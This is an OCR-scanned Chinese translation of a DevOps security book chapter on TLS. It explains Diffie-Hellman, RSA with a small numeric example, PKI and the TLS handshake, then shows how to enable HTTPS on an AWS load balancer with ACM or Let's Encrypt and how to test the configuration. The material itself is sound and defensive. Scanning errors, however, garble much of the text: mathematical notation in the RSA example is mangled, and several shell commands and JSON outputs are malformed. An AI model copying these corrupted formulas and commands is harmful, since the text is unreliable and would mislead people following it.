Diffie-Hellman密钥交换允许Alice和Bob交换密钥,而Eve无法窃取密钥。

Diffie-Hellman在密码学领域掀起了一股浪潮。因为该算法既使用了公有值 

（4和3）也使用了私有值（。和b ）,有人说Diffie-Hellman发明了非对称公钥加密。

在 DH 公布一年之后,Ron Ri vest > Adi Shamir 和 Leonard Adleman 公布了基于 

DH算法的公钥密码系统RSA,其引入的公钥和私钥我们至今都仍在使用。RSA为 



128 5第三层安全性：保护通信

个人提供了一种方法来创建属于他们自己的密钥对:ー个共享给世界的公钥和一个 

私人保有的私钥。RSA提供了两种重要的安全特性一加密与签名：

•加密——用其中一个密钥加密的消息只能被另ー个密钥解密，这使得人们可 

以互相发送消息、,而这些消息只能用他们各自的公钥加密和私钥解密。

・签名——用私钥加密的消息只能被对应的公钥解密,从而证明该消息是私钥 

持有者发出的，有效地提供了数字签名。

花点时间来理解这些概念。它们虽然复杂，但却是现今TLS保护通信的基础。 

DH和RSA是让互联网市场欣欣向荣的安全基石。

RSA算法
RSA算法让通信参与者使用两个密钥就能完成机密消息的交换。ー个是 

密钥加密消息,另ー个是密钥解密消息,但加密用的密钥却不能用来解密。设 

想两位参与者Alice和Bob,他们想安全地通信，Alice创建了一对密钥并将她 

的公钥放到了互联网上。Bob拿到了 Alice的公钥并用它加密一条消息。除了 

Alice,没人能解密这条消息,她安全地保留着可以解密这条消息的私钥。下图 

展示的就是RSA流程。

Eve可以拦截Bob发给Alice的消息,却 
无法读取它，因为她没有Alice的私钥。

RSA密码系统允许Bob可以给Alice发送使用她的公钥加密的消息。Eve不能解密该消息, 
因为她没有Alice的私钥。
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这个双密钥系统是革命性的,因为在不降低协议安全性的前提下,其中的 

ー个密钥可以公开 如果你对RSA的数学运算很好奇,这里有一个简单的示例:

1 .选择两个随机质数夕和り,计算〃ラxク。

p=17,4=13
n=p x g=221

2 .计算 ク5),即(p—l)(ワー 1)。 

(p(n)=(p-i) x (^-1)=16 x 12=192
1

3 .选取ー个和孤〃)互质的任意指数。这里，我们取e=5,但是常用的值是 

―65537。e和れ的值共同形成了公钥..

4 .使用e，选择ー个值满足这个公式：dx e modシ(〃尸1 0例如，d=77。

dx 5 mod 192 =1
77 x 5 mod 192=1

5 . d和〃的值ー起形成了私钥。

以数值为!23的一条消息か为例。我们按照c(加)=7ガmod 〃 =1235 mod 221 
=106，使用公钥key(〃⑻加密加つ加密后的文本c(加)就是值106

现在,我们计算cleartext=c(加)"mod 〃 =106"mod 221=123，就可以使用私钥 

key(d，〃)解密c(加)，从而得到原来的消息了っ

5.1.3 公钥基础设施

RSA提供了几乎所有保护通信所必需的安全性,但还有一个问题没有得到解决。 

假设你是第一次和Bob通信,Bob告诉你，他的公钥是29931229。在还没有建立安 

全信道的时候，你如何确定不会有人通过中间人(MITM, Man-In-The-Middle)攻 

击来篡改这些信息。你无法证明,除非有人能确定:这确实是Bob的公钥。

在现实世界里，这个问题类似于我们如何信任护照和驾照:仅仅持有证件本身 

是不够的。证件必须由值得信任的权威机构颁发オ行,比如当地政府机构(颁发驾照) 

或是外国政府(颁发护照)。在数字世界里，我们沿用了一模ー样的体系,创造了 

将密钥和身份关联在ー起的公钥基础设施(PKI, Public- Key Infrastructure)〇

要让PKI发挥作用，首先你要信任一组机构，或者更具体一点,要信任这些机 

构的公钥。在Web浏览器中，你可以在根存储区(Root Store)或受信存储区(Trust 
Store)里的认证硕发机构(CA, Certificate Authority)下找到它们。PKI的概念很 

容易理解：Bob的公钥必须使用你信任的CA的私钥来加密签名，这样才能被认为

1这里计算的是のタ乘积，即"的欧拉函数,其结果为p的欧拉函数和g的欧拉函数的乘积。因为 
ァ、g都是质数,因此结果为3-1)和(g-1)的乘积。一译者注
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是合法的。Bob在发送公钥时,还要将CA颁发给他的公钥的签名ー起发送。使用 

被信任的CA的公钥来校验该签名,你就可以确信Bob的密钥是值得信赖的,并没 

有被中间人替换。CA必须确保只为正确的人签名，但这是它们的职责，你不用做 

任何事。从概念上来说,这等同于受信任的政府在核实Alice的身份之后签署（更 

准确地说，是签发）她的护照:因为我们信任PKI中的权威机构密钥，所以我们也 

可以信任由其签名的密钥。

5.1.4 SSL 和 TLS
军事机构大约在20世纪七八十年代就开始使用RSA和PKI 了，但是对Web 

的构建和对这些技术的使用却花了近20年的时间。1995年,Netscape发布了 

Navigator 1.0,它添加了对安全套接层（SSL, Secure Socket Layer）协议的支持。然后， 

在版本2 （版本1从未发布过）中，SSL开始使用RSA和PK!来保护浏览器和服务 

器之间的通信。

SSL使用PKI来判定一个服务器的公钥是否可靠,它要求服务器使用受信CA 
签名的安全证书。在Navigator 1.0发布时,它信任的只有一个CA,由RSA Data 
Security公司运营。服务器的公开RSA密钥存放在安全证书里，然后浏览器可以 

用它来建立安全的通信信道。我们现在使用的安全证书还会依赖这个标准（名为 

X.509）,和Navigator 1.0在当时使用的标准ー样。

Netscape的意图是教会用户如何区分安全的通信和不安全的通信，所以它们在 

地址栏旁边放置了一个锁形图标。如果锁是打开的，通信就是不安全的。合上的锁 

表示通信被SSL保护着，要求服务器提供签名证书。你肯定不会对这个图标感到陌 

生，因为从那时起每个浏览器都有这个图标。Netscape的工程师们真正创造了安全 

的互联网通信标准。

在SSL 2.0发布一年之后，Netscape修复了一些安全问题并发布了 SSL 3.0,尽 

管这个协议在2015年6月被正式弃用，但自推出以来,它己经在世界上的很多地 

方使用了超过20年。为了将SSL进行标准化，互联网工程任务组（IETF, Internet 
Engineering Task Force）创建了一个稍微修改过的SSL 3.0,并在1999年作为传输 

层安全协议1.0公布。SSL和TLS之间的名称变换至今仍然会让人们感到困惑。官 

方的说法是,TLS是新的SSL，但实际上，人们在谈论任何版本的协议时，SSL和 

TLS是可以互相替代的。

TLS在!ETF的监管之下持续地演进:2006年1.1版发布，2008年1.2版发布。 

TLS的下ー个版本，版本号顺延至1.3,已在2018年发布。每ー个新版本都会修复 

安全问题并引入一些加密上的创新,这里就不再展开介绍了。

TLS已经成为保护任意类型网络通信的标准，从提供Web页面到保护视频会议 
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系统，再到建立VPN隧道。大量保护（或破坏）其加密原语的工作让TLS成了有 

史以来最安全的协议。这也让TLS协议变得十分复杂，很少有人能够全面地掌握它。

幸运的是，你不需要完全理解TLS的内部机制就可以做到正确地保护Web服 

务。在本章的剩余部分中,我将概要地介绍TLS的工作原理，并快速切换到保护发 

票应用终端节点的内容上。

5.2 理解 SSL/TLS

使用Web浏览器和一个HTTPS地址就可以轻松地建立起一个TLS连接，但你 

需要使用OpenSSL命令行才能获得更多关于建立连接的信息。代码清单5.2展示了 

连到Google官网的部分TLS参数。为了方便阅读，这里只截取了部分内容。这里 

面的信息量很大,我们将分多个小节逐一讨论。

代码清单5.2 通过openssl工具获得的连到Google官网的TLS连接

$ openssl s_client -connect ***.com：443
Google的证书信任链指向了 Equifax

Certificate Authority 〇

Certificate chain
0 s：/C=US/ST=California/L=Mountain View/0=Google Inc/CN=*.***.com
i：/C=US/0=Google Inc/CN=Google Internet Authority G2

1 s：/C=US/0=Google Inc/CN=Google Internet Authority G2
i：/C=US/0=GeoTrust Inc./CN=GeoTrust Global CA

2 s：/C=US/0=GeoTrust Inc./CN=GeoTrust Global CA
i：/C=US/O=Equifax/OU=Equifax Secure Certificate Authority

SSL-Session：

Protocol ： TLSvl.2

TLS1.2是最新版本的 
协议。

Cipher : ECDHE-RSA-AES128-GCM-SHA256 <---- ! 协商的密码套件。
Session-ID: 0871E6F1A35AE705A...
Session-ID-ctx：

Master-Key： 01F2462FD1D61
Key-Arg ： None
PSK identity： None

I会话的唯一 ID.

加密主密钥。

PSK identity hint： None
SRP username： None
TLS session ticket lifetime hint: 100800 (seconds)
TLS session ticket： 
0000 - d7 2a 55 df ...........

会话票证中加密的主密钥。
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5.2.1 证书链

OpenSSL命令输出的第一部分显示了三份证书,编号分别是0、1和2。每份证 

书都有一个主体s (subject)和一个签发者i (issuer)。第一份证书的编号为0j被 

称为终端实体证书。主体一行告诉我们该证书对任何Google官网的子域都是有效 

的，因为它的主体被设置为・.google.com。签发者一行表示该证书由Google Internet 
Authority G2签发,它也刚好是第二份编号为1的证书的主体。1号证书本身是由 

GeoTrust Global CA签名的,我们可以在2号证书中找到这个CA。你可以看出这 

里的端倪:每ー份证书都由它后面的证书签发——只有2号证书除外,它的签发者 

Equifax Secure Certificate Authority 在这里找不到。

这里OpenSSL命令没有展示受信存储区,受信存储区包含一份CA证书的清单， 

这些证书被OpenSSL命令运行的系统所信任。Equifax Secure Certificate Authority的 

公开证书一定要存在于系统的受信存储区里，这样验证链オ是ー个完整的闭环。这 

被称为信任链，图5.3概要地总结了它的行为。

图5.3运用信任链验证网站真实性的概要概念图。Firefox受信存储区中的根CA提供了初始的信 
任,来验证整个链条并信任终端实体的证书。

实际上，验证信任链远没有验证签发者那么简单，作为练习，读者试着去找出 

这些细节。这里重要的一点是OpenSSL验证了 Google服务器的身份，并由此确定 

是在和正确的实体进行通信。在建立了真实性的基础之后，握手过程会继续进行， 

以便协商通信信道的密码细节。

5.2.2 TLS 握手
TLS的设计初衷是让客户端和服务器对ー套用于连接的密码算法达成一致,这 
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套算法称为密码套件(Cipher Suite)〇每个版本的TLS，从最开始的SSLv2到现在 

的TLSvl.3，都自带ー套加密算法，而协议的版本越新,使用的密码安全性就越高。

在代码清单5.2的OpenSSL命令的输出中，客户端和服务器一致同意使用 

TLSvl.2,并采用ECDHE-RSA-AES128-GCM-SHA256密码套件。这段神秘的字符 

串有着特别的含义:

, ECDHE 即椭圆曲线 Diffie-Hellman 交换(Elliptic Curve Diffie-Hellman Exchange) 
算法。这是ー个允许客户端和服务器安全地协商主密钥的数学结构。我们稍 

后会讨论“临时”是什么意思,现在，只要知道ECDHE算法是用来执行密 

钥交换的即可。

• RSA算法是服务器提供的证书的公钥算法。服务器证书中的公钥不会被直接 

用于加密(因为RSA算法所需的大数乘法计算对于快速加密来说太慢了), 

而是被用来对握手过程中的消息进行签名，这样才能提供身份验证。

・ AES128-GCM算法是ー种类似凯撒算法密码的对称加密算法，但它比凯撒算 

法密码先进得多。这是ー种快速密码，用于对通信中传输的大量数据的快速 

加密和解密。因此，AES128-GCM算法被用来保证机密性。

• SHA256算法是ー种哈希算法，用于计算通过连接传输的数据的定长的校验 

和。SHA256算法被用来保证完整性。

完整的TLS握手过程要花大量篇幅才能讲清楚(TLS 1.2的RFC有100多页, 

链接5.1)。图5.4展示了简化版本的握手过程：

1 .客户端向服务器发送一条消息HELLO,以及它支持的协议和算法清单。

2 .服务回应HELLO并发送它的证书链。基于客户端的能力，服务器选择ー套 

密码套件。

3 .如果密码套件支持临时密钥交换,就像ECDHE算法一样，那么客户端和 

服务器会使用Diffie-Hellman算法来协商ー个预主密钥。预主密钥永远不 

会在线上发送。

4 .客户端与服务器创建一个会话密钥，用来加密通过连接传输的数据。

在握手过程的最后，双方都得到了一个秘密会话密钥，用来加密连接中余下的 

数据。在代码清单5.2的输出中,OpenSSL将其称为Master-Key。
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客户端 服务器

步骤1|
CLIENT HELLO

客户端向服务器发送ー 

条消息HELLO,其中包 
含它所支持的协议和算 

法清单。

步骤2|

SERVER HELL〇｛证书链、选好的密码套件、恢复用的会话id,

服务回应HELLO并发送它的证书 
链。基于客户端的能力，服务器 
选择ー套密码套件。

步骤3|

生成服务器密码和DH参数 —
双方使用 Diffie - Hellman 
算法来协商ー个预主密钥

ERVER KEY EXCHANGE {DH 参娄1}
I 

生成客户端密码和DH参数

CCLIENT KEY EXCHANGE {DH 参数 }
I 

计算预主密钥

计算预主密钥 口
つ

预主密钥永远不会 

在线上发送。

步骤4|
从坎王密钥中寻出去话雷胡

コ
从预主密钥中导出会话密钥

つ
发送/接收加密数据

会话密钥加密通过连接 

传输的数据。

客户端 服务器

图5.4 TLS握手的简化视图展示了客户端与服务器在协商必要的安全参数时所采取的四个主要 
步骤。
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5.2.3完美前向保密
密钥交换中的术语“临时”提供了一个非常重要的安全特性,名为完美前向保 

密(PFS, Perfect Forward Secrecy) 〇

在非临时密钥交换中,客户端发送给服务器的预主密钥经过了服务器的公钥加 

密。服务器接着用它的私钥解密预主密钥。在此之后,如果服务器的私钥被破解, 

攻击者就可以进入这个握手过程，通过解密预主密钥来获取会话密钥，进而解密 

传输中的全部流量。非临时密钥交换容易受到将来可能发生在记录流量上的攻击, 

而且由于人们很少去修改密码,所以解密过去的数据对攻击者来说依然是很有价 

值的。

像DHE或其在椭圆曲线上的变种ECDHE这样的临时密钥交换可以解决这个问 

题,它们的方法是不让预主密钥在线上传输。相反，预主密钥是由客户端和服务器 

独立计算的，它们各自使用可以公开交换的非敏感信息来完成。由于预主密钥以后 

不能被攻击者解密，所以会话密钥是安全的,未来也不会受到攻击,因此得名完美 

前向保密。

PFS的缺点是,所有额外的计算步骤都会造成握手过程的延迟，这会拖慢用户 

的速度。为了避免每次连接都重复这些繁重的工作，双方需要将会话密钥缓存起 

来供未来使用，这是通过ー种叫会话恢复(Session Resumption)的技术来实现的。 

这就是会话ID和TLS票证的用途:它们允许客户端与服务器共享会话!D来跳过 

会话密钥的协商,因为它们在此之前已经达成过ー个密钥,所以可以直接安全地 

交换数据。

TLS的概要介绍先告一段落。如果这是你第一次进入密码学这个迷人的世界, 

你可能会被这里出现的许多新概念和大量的信息所淹没。你应该知道了,掌握TLS 
需要时间和耐心，但是这里介绍的核心概念对保护在线服务来说已足矣，马上你就 

可以为发票应用启用HTTPS 了。

更多关于TLS的信息
我可以用一整本书的篇幅来专门介绍TLS。有人已经捷足先登了 : SSL 

Labs 的创始人 !van Ristie 在他的 Bulletproof SSL and TLS ( Feisty Duck 出版社于 

2017年出版)一书中全面地阐述了 TLS、PKI及服务器配置 如果这个简短的 

章节不能满足你对这个神奇的协议的好奇心,那么这是一本必读的书。
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5.3让应用使用HTTPS
在应用上启用HTTPS分为三个步骤：

1 .获取ー个可控域名,将它指向发票应用的公开终端节点。

2 .取得一份由受信CA为该域名签发的X.509证书。

3 .更新配置，并使用该证书启用HTTPS。

直到现在，你用的还是由AWS生成的发票应用的ELB的地址，但是对真正的 

应用来说,显然需要一个invoicer.securing-devops.com这样的真实域名。这里我将 

略过诸如购买域名及创建指向发票应用ELB的CNAME记录的细节。在创建完成后, 

该记录应该和代码清单5.3的内容类似。

代码清单5.3 CNAME记录将！nvoicer.securing-devops.com 指向发票权用的ELB

$ dig ***.securing-devops.com
;;ANSWER SECTION:
***.securing-devops.com. 10788 IN CNAME

invoicer-api.3pjw7ca4hi.us-east-1.elasticbeanstalk.com.
***.3pjw7ca4hi.us-east-1.elasticbeanstalk.com. 48 IN A

***.3pjw7ca4hi.us-east-1.elasticbeanstalk.com. 48 IN A

申请证书曾经是ー个烦琐的过程，你需要耗费数小时在学习了线上的资料后, 

才能理解OpenSSL等工具的晦涩选项，才能为CA生成证书签名请求，以及在Web 
服务器上安装签名后的证书。如果你管理过传统的基础设施,那么这套流程对你来 

说并不陌生，但是证书颁发机构最近采取的ー些措施大大减轻了这个过程的痛苦：

• Let's Encrypt提供了完全自动化的流程，通过ACME协议,来获取证书，而且 

这个流程是免费的。

• AWS可以免费签发证书，但这些证书只能在AWS内部使用（不能导出私钥）。

« 传统CA （包括免费的）都在积极地采用ACME协议。

我们先来看看AWS的CA,然后再来讨论Let's Encrypt,

5.3.1 从AWS获取证书

如果你只关心在AWS中运行应用，那么通过Certificate Manager服务获取证书 

只用简单地执行代码清单5.4中的命令即可。

I ACME （Automated Certificate Management Environment»自动证书管理环境）协议,由 Let's Encrypt 
实现。与该协议兼容的软件可以通过它与Let's Encrypt通信以获取证书。一译者注
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代码清单5.4 从AWS Certificate Manager申请发票应用的证书

$ aws acm request-certificate --domain-name invoicer.securing-devops.com

（
MCertificateArn"： harn：aws：acm：us-east-1：93：certificate/6d-7c-4a-bd-（ 

}

上面这条命令告诉Amazon在AWS账户中生成私钥和证书（运维人员无法从该 

账户中导出这个私钥）。在使用自己的PKI对证书签名之前,Amazon必须验证域是由 

申请证书的运维人员控制的,这是通过一封发送给运维人员的包含验证码的邮件来 

完成的,邮件地址是预先定义的,例如postmaster@securing-devops.com〇运维人员必 

须点击带有验证码的链接来确认证书的签发,并让它立即在AWS账户中生效。AWS 
Certificate Manager服务为那些托管在AWS基础设施上的服务提供了最简单的获取证 

书的方式，但是如果你想要更好地控制私钥，Let，sEne!ypt是另ー个不错的选择。

5.3.2 从 Lefs Encrypt 获取证书
站在CA的角度看，在签发证书时最复杂的任务就是验证提出申请的用户是否 

就是域的合法所有者。之前提到过，AWS通过预先定义的地址向域的所有者发送邮 

件来进行验证。Let，s Encrypt使用了一种更复杂的方式，这需要完成ACME规范,定 

义的ー组验证方式'

最常见的验证方式是HTTP, CA向申请证书的运维人员提供一个随机字符串, 

这个字符串必须跟在事先定义好的目标网站的地址之后，以便CA能通过这个地址 

验证其所有权。例如，在请求invoicer.securing-devops.com的证书时,CA将用链接5.5 
这个地址寻求验证。

HTTP验证方式很适合传统的Web服务器,但是发票应用的基础设施没有一 

个可以通过简单设置就能满足验证方式需要的Web服务器。这时你要使用DNS验 

证方式来代替，在 acme- challenge.invoicer.securing-devops.com 的 TXT 记录下请求 

ACME验证。要让这种验证方式生效,你需要两个组件：

« 一个ACME客户端,它可以和Let's Encrypt完成握手，配置DNS并请求证书。

• ー个（域名）注册商，配置为满足TXT ACME验证方式。

对于客户端，我们选择的是lego、,ー个支持DNS （还有其他验证方式）的Go 
语言;对于Let's Encrypt客户端,我们选择的注册商是Gandi,但lego也支持其他

] 在本书的英文版成书之时,ACME还是!ETF草案（链接5.2），但在2019年3月,ACME已经正 
式成为IETF标准（链接5.3） . "ー译者注
2 Let's Encrypt支持的验证方式见链接5.4.

3 使用命令 $g。get -u github.com/xenolf/leg。就可以安装 lego。
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ー些同样有效的DNS提供商。可以使用一条命令为域申请证书。

代码清单5.5 从Let's Encrypt使用DNS验证方式来申请证书

$ G/kNDI_API_KEY=8aewloliqa80A0D10alsd lego
--emai 1 = ° j ulien@secur ing-devops . com',
--domains= •' * * * . securing - devops . com"
--dns="gandi"
--key-type ec256 
run

Gandi API密钥可以从账户的首选项中找到。图5.5展示了 lego、Let's Encrypt 
和Gandi之间的会话细节。首先lego会生成一个私钥和CSR'o CSR被发送给Lefs 
Encrypt»并且CSR会返回一个已签名的验证。lego将验证插入到securing・devops.com 
的DNS之中，让Let's Encrypt来完成验证。

Let,s Encrypt完成了验证,并用中间人密钥对CSR进行签名，然后lego就能取 

回经过签名的证书了。

图5.5客户端（lego）、CA （Lefs Encrypt）与注册商（Gandi）之间的ACME协议将发票应用 
签名证书的签发过程进行了自动化。

1 CSR （Certificate Signing Request,证书签名请求）生成以后将发送给CA,然后CA会签名并发回证 
书。——译者注 （. V
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注意，这里的私钥类型被设置成了 ec256,表示需要的是ECDSAP-256密钥, 

而不是RSA密钥。

ECDSA密钥
ECDSA是RSA的一种替代算法,它利用椭圆曲线来提供数字签名。 

ECDSA的优势在于,它比RSA短:256位的ECDSA密钥提供的安全性和3072 
位的RSA密钥提供的安全性相当。密钥越短,计算越快,而ECDSA带来的性 

能提升推动着越来越多的网站运营人员采用这种算法来代替RSA0

这条命令需要数分钟才能完成,因为DNS记录可能需要一些时间来传播。在 

这个过程结束后，ー个证书链和一个私钥会被写入~/」ego/certi6cates中。

代码清单5.6由LeTs Encrypt签发的私钥和证书链

$ tree -/.lego/certificates/ 
I— ***.securing-devops.com.crt 
I  ***.securing-devops.com.key

按照Let's Encrypt的签发策略，证书有效期只有90天。定期自动更新证书是 

留给读者的ー个练习（让部署器执行ー段脚本就可以轻松地完成）。现在,你需要 

将这些信息上传到AWS ,供发票应用的ELB使用。

5.3.3 在 AWS ELB 上启用 HTTPS
就invoicer.securing-devops.com.crt文件来说，你会发现两段连在ー起的CER- 

TIF1CATE块。第一块包含了 invoicer.securing-devops.com的服务器证书（又称为 

终端实体，End Entity,或称为EE ）,而第二块包含了对EE签名的中间人证书。 

AWS要求分开上传EE和中间人证书，而不是放到同一个文件里上传,因此你需要 

用文本编辑器将它们分成两个文件,并像代码清单5.7这样分别来上传。

代码清单5.7将私钥、EE及中间人证书一起上传到AWS

$ aws iam upload-server-certificate
--server-certificate-name "***.securing-devops.com-20160813"
--private-key

file：//***/.lego/certificates/invoicer.securing-devops.com.key
--certificate-body

file：//***/.lego/certificates/invoicer.securing-devops.com.EE.crt 
--certificate-chain

file：//***/.lego/certificates/letsencrypt-intermediate.crt
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nServerCertificateMetadata" ： {
"Path" s r
•'Expiration'•: M2O16-11-11T13 :31: 00ZM f
"Arn"： "am： aws ： iam： ： 973 ： ***/invoicer. secur ing- 

devops.com-20160813",
"ServerCertificateName"： "***.securing-devops.com-20160813", 
"UploadDate": "2016-08-13T15:37:30.334Z"r
"ServerCert i ficateld": "ASCAJJ5ZF2467KDBETALA" 

}
)

该命令将返回上传的证书的元数据。接下来,将证书附到发票应用的ELB 
上。这需要两步来完成，首先，取得ELB的内部名称，然后再用得到的证书开启 

HTTPS监听器。

ELB的名称可以从EB环境的详情中提取。在第2章的练习里，你已经知道了 

环境ID,因此只需一条命令就可以获得ELB的名称。

代码淸单5.8从EB提取资源来获取ELB的名称

$ aws elasticbeanstalk describe-environment-resources
--envi ronment-id e-curu6awket |
jq -r '.EnvironmentResources.LoadBalancers[0].Name1

awseb-e-c-AWSEBLoa-1VXVTQLSGGMG5

现在，你可以在ELB上创建一个新的监听器了。注意，对于监听器语法的参数， 

乍一看还有点难以理解：

, Protocol和LoadBalancerPort表示面向公开的配置,这里是443端 

ロ的 HTTPS。

, Instanceprotocol和InstancePort表示应该将流量发送到哪里,这 

里是要发送到发票应用。

, SSLCertificateld是之前运行的证书上传命令后返回的证书的ARN 
(Amazon Resource Name) 〇

代码清单5.9在发票应用的ELB上创建HTTPS监听器

$ aws elb create-load-balancer-listeners
--1oad-balancer-name awseb-e-c-AWSEBLoa-1VXVTQLSGGMG5
--listeners "Protocol=HTTPS,LoadBalancerPort=443 ,
InstanceProtocol=HTTP,InstancePort=80,
SSLCertificateld=arn：aws：iam：：973：***/invoicer.securing- 

devops.com-20160813"

你可以使用命令aws elb describeーエ。ad-balanc6rs来验证该配置。代 
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码清单5.10展示的输出内容表明HTTP和HTTPS的监听器都已配置好了。它还表 

明HTTPS负载均衡器使用了名为ELBSecurityPolicy-2015-05的策略,稍 

后我们将讨论并调整这个策略。

代码清单5.10描述发票应用ELB上活跃的监听器

$ aws elb describe-load-balancers
--load-balancer-names awseb-e-c-AWSEBLoa-1VXVTQLSGGMG5 | 
jq -r •.LoadBalancerDescriptions[0].ListenerDescriptions' 
[

(
••Listener** ： {

', InstancePort•, ： 80,
"Instanceprotocol', ： "HTTP",
"Protocoln: "HTTPn, 
"LoadBalancerPorf*: 80 

},

"PolicyNames"：[]
}，
(
"Listener"： {

"InstancePort"： 80,
"Instanceprotocol"： "HTTP",
"Protocol•' : "HTTPS",
"LoadBalancerPorf： 443,
"SSLCertificateld"： "am：aws：acm：us-east-l：93：certificate/6d-7c-4a- 

bd-09"
}，
"PolicyNames"：[ 

"ELBSecurityPolicy-2015-05"
]

}
1

尽管现在ELB已经配置好了，但它还无法正常工作。保护它的安全组不允许连 

接到443端口。你可以通过允许整个互联网,即0.0.0.0/0,连接到443端ロ就可以 

解决这个问题。

代码清单5.11获取ELB的安全组并开放443端口

$ aws elb describe-load-balancers
--load-balancer-names awseb-e-c-AWSEBLoa-1VXVTQLSGGMG5 | 
jq -r •.LoadBalancerDescriptions[0].SecurityGroups[0]' 
sg-9ec96ee5

$ aws ec2 authorize-security-group-ingress
--group-id sg-9ec96ee5
--cidr 0.0.0.0/0
--protocol tcp
--port 443
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* fi I • V ■ securing-devops.con」ぐワ☆曲 

£ invoicer.securing-devops.com 
Scaif* Connection

Verified by： LeTs fncrypj

发票应用的HTTPS终端节点现在完全可以正常工作了,并且可以在链接5.6 
上访问到。正如你在图5.6中看到的一样， 

Firefbx显示了一个绿色的锁形图标，表示连接 

使用了 Let,s Encrypt签发的证书来作为保护。

根据Netscape首次引入的概念,合上的绿 

色小锁表示连接是安全的，但这并没有说明它 

究竟有多么安全。半数以上的Web依靠TLS 
协议来保护HTTP流量的完整性、真实性和机 

密性（链接5.7），但有很大一部分通过使用错 

误的，甚至是危险的配置来实现，这导致数据在不安全的信道中进行传输,并暴露 

在篡改和泄露的风险之下。尽管Web浏览器试图识别这些糟糕的配置并向用户发出 

告警，但你仍然需要自己对这些配置进行审计,并采取措施使其现代化。

图5.6 Firebox在地址栏显示了一^t'绿 
色的小锁,这表示连到发票应用的Web 

UI的连接是安全的。

5.4现代化HTTPS

有一些指南为运营商提供了现代的TLS配置。在这ー节，我们将讨论由 

Mozilla维护的指南，它提供了三个级别的配置（链接5.8）。

• 现代级别的目标是仅支持最新的、最安全的加密算法，但代价是仅支持现代 

Web浏览器。图5.7展示的是现代化配置指南的截图。

• 中等级别兼顾了安全性和向后兼容性，以合理的安全级别支持大多数客户端 。 

当访问网站上的客户端的基数很大时，推荐使用中等级别，因为它在提供合 

理安全性的同时,并没有放弃支持老客户端所需的算法。

• 过时级别的目标是继续支持老的客户端，如Windows XP SP3之前的版本。 

只有在确定要支持非常老的客户端时，オ应该使用这个级别，因为它会启用 

那些已知的不安全算法。

图5.7展示了运营商在配置Web服务器的TLS时可以调整的所有参数（有些参 

数可能不能调整，这取决于运行TLS的Web服务器或服务）。现在你应该可以认出 

大部分的参数了 ：密码套件、版本、证书签名等。虽然有些参数仍然不好理解，但 

是你现在可以放心地将其忽略。

如果你在没有协议说明作为铺垫的情况下阅读这份建议，其复杂性会让你望而 

却步。TLS是复杂的协议，除非你准备花费大量时间和精力去理解其中的细节并创 

建自己的配置,否则我强烈建议你恪守Mozilla和其他值得信赖的资源所建议的指 

南。当密码学发展到新的水平时，当一度被认为安全的算法在一夜之间变成巨大的 

安全漏洞时,这些指南就会得到更新。
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Modern compatibility [edit]

For services that don't need backward compatibility, the parameters below provide a higher level of 
security. This configuration is compatible with A refox 27, Chrome 30, IE 11 on Windows 7, Edge, 

Opera 17, Safari 9. Android 5.0, and java 8.

.Ciphersuites：ECDHE-ECDSA*AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE- 
ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128- 
GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE- 
RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256

« Versions: TLSvl .2

• TLS curves: prlme256v1, secp384r1, secp521r1

• Certificate type: ECDSA

・ Certificate curve： prime256Vl. secp384r1, secp521r1

• Certificate signature: sha256WithRSAEncryption, ecdsa-wlth-SHA256, ecdsa-with-SHA384, 
ecdsa-wlth-SHA512

.RSA key size: 2048 （if not ecdsa）

（ DH Parameter size: None （disabled entirely）

> ECDH Parameter size: 256

• HSTS: max-age=15768000 

・ Certificate switching: None

图5.7关于Mozilla Wiki上的现代TLS配置级别的建议。

我还有一个建议,别相信Web服务器和库自带的默认设置,因为这些设置为了 

适应老客户端,通常都会过于宽松。你应该定期测试TLS配置,特别是启用的密码 

套件。密码套件是TLS协议的核心。密码套件是ー组旨在提供特定级别安全性的加 

密算法。4个版本的SSL/TLS 一共给我们提供了超过300种的密码套件,但其中大 

部分在安全性要求较高时都不应该使用。

在说明如何调整HTTPS配置之前,我们先来讨论测试和评估配置当前状态的方法。

5.4.1 测试 TLS

tls协议的灵活性允许客户端和服务器基于它们都支持的内容来协商连接的参 

数。在理想状况下,双方应该达成一致ー使用其共有的最安全的ー套参数。网站 

运营商的责任是确保服务的配置优先选择健壮的密码，而不是不安全的密码。

有许多工具可以帮你测试TLS配置。像本书作者编写的Cipherscan （链接5.9） 
和testssl.sh （链接5.10）都可以给出这样的报告。有些高级工具还会给出建议并标 

出主要问题。其中最流行最全面的当然是SSLLabs.com 了,这是ー个线上的TLS 
扫描器,它会给出A到F之间的结果,代表了配置安全性的级别。Mozilla的TLS 
Observatory （链接5.11）是它的开源替代品，可以通过命令行及Web界面使用。代 

码清单5.12展示了对发票应用执行tlsobs命令的输出。

代码清单5.12安装TLS Observatory客户端,并在发票应用的ELB上使用

$ go get -u ***.com/mozilla/tls-observatory/tlsobs 

$ $GOPATH/bin/tlsobs -r *♦*.securing-devops.com
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Scanning * * *.securing-devops.com (id 12323098)

-- Certificate----  ◄--------
Subject CN=***.securing-devops.com 
SubjectAlternativeName

1 Certificate这一段展示了网站证书 
I的细节。

- ***.securing-devops.com
Validity 2016-08-13T13:31:00Z to 2016-11-11T13:31:00Z
CA false
SHA1 5648102550BDC4EFC65529ACD21CCF79658B79E1
SigAlg SHA256WithRSA
Key ECDSA 256bits P-256

---Trust----  ◄------------------------------

Trust这一段告诉你,EE证 
书链接到ー个被Mozilla 

Microsoft 和 Apple 信任的 
CAo

Mozilla Microsoft Apple

--  Ciphers Evaluation ---
pri cipher
1 ECDHE-ECDSA-AES128-GCM-SHA256
2 ECDHE-ECDSA-AES12 8 -SHA2 5 6
3 ECDHE-ECDSA-AES128-SHA
4 ECDHE-ECDSA-AES256-GCM-SHA384
5 ECDHE-ECDSA-AES256-SHA384
6 ECDHE-ECDSA-AES256-SHA

Ciphers Evaluation 这一段按优 
先顺序列出了服务器接受的密码 
套件。

protocols
TLSvl.2
TLSvl.2
TLSvl,TLSvl.1,TLSvl.2
TLSvl.2
TLSvl.2
TLSvl,TLSvl.1,TLSvl.2

pf s
ECDH,P-256
ECDH,P-256
ECDH,P-256
ECDH,P-256
ECDH,P-256
ECDH,P-256

curves
prime256 
prime256 
prime256 
prime256 
prime256 
prime256

OCSP Stapling false
Server Side Ordering true
Curves Fallback false

